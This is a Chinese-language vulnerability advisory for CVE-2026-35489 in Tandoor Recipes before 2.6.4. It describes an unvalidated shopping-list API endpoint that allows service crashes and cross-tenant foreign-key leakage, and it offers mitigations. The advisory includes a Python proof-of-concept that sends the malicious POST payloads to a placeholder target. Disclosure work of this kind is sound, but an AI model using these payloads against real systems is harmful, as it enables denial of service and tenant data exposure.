IPBUF安全漏洞报告
English
CVE-2026-35489 CVSS 7.3 高危

CVE-2026-35489 Tandoor Recipes越权漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35489
漏洞类型
越权漏洞
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

越权漏洞拒绝服务Tandoor RecipesCVE-2026-35489数据泄露

漏洞概述

Tandoor Recipes是一个用于管理食谱和计划膳食的应用程序。在2.6.4版本之前,其POST /api/food/{id}/shopping/接口存在安全缺陷。该接口直接从请求数据中读取amount和unit参数,且未经过验证就传递给数据库操作。攻击者可利用此漏洞发送非数字amount导致服务崩溃(HTTP 500),或利用跨空间的unit ID关联数据,从而泄露不同租户的外键引用信息。

技术细节

该漏洞的核心在于Tandoor Recipes后端对特定接口的数据处理逻辑不当。在受影响版本中,/api/food/{id}/shopping/端点直接使用了Django ORM的ShoppingListEntry.objects.create()方法,从request.data中获取amount和unit参数,完全绕过了标准的ShoppingListEntrySerializer验证机制。这导致了两个主要风险:首先是输入验证缺失,当amount字段接收到非数值型字符串时,系统会抛出未处理的异常,导致应用崩溃,影响可用性。其次是访问控制失效,由于未校验unit ID是否属于当前用户的Space(租户空间),攻击者可以枚举并提交属于其他租户的unit ID。这使得系统创建了跨租户的关联对象,导致外键信息泄露,破坏了多租户架构的数据隔离性。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是 Tandoor Recipes 应用,且版本低于 2.6.4。
STEP 2
漏洞利用
攻击者向 /api/food/{id}/shopping/ 端点发送特制的 POST 请求,包含恶意的 'amount'(非数字)或跨租户的 'unit' ID。
STEP 3
触发异常
服务器因未验证输入而处理恶意数据,导致数据库操作抛出异常或建立非法关联。
STEP 4
达成效果
攻击者成功导致 HTTP 500 服务拒绝,或通过响应数据获取到属于其他 Space 的外键引用信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-domain.com/api/food/1/shopping/" # Attack Scenario 1: Denial of Service (Invalid Amount) payload_dos = { "amount": "invalid_string", # Non-numeric string to trigger exception "unit": 1 } # Attack Scenario 2: Cross-Space Foreign Key Leakage # Assuming 'unit' id 999 belongs to a different tenant/space payload_leak = { "amount": 100, "unit": 999 # Malicious cross-space ID } try: # Send malicious request response = requests.post(target_url, json=payload_leak) if response.status_code == 201: print("[+] Vulnerability Confirmed: Cross-space unit ID accepted.") print("[+] Response Data:", response.json()) elif response.status_code == 500: print("[+] Vulnerability Confirmed: Server crashed due to invalid input validation.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error during request: {e}")

影响范围

Tandoor Recipes < 2.6.4

防御指南

临时缓解措施
如果无法立即升级,建议在网络层通过 WAF 拦截发往 /api/food/{id}/shopping/ 的异常 POST 请求,或者临时禁用该 API 接口的功能,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表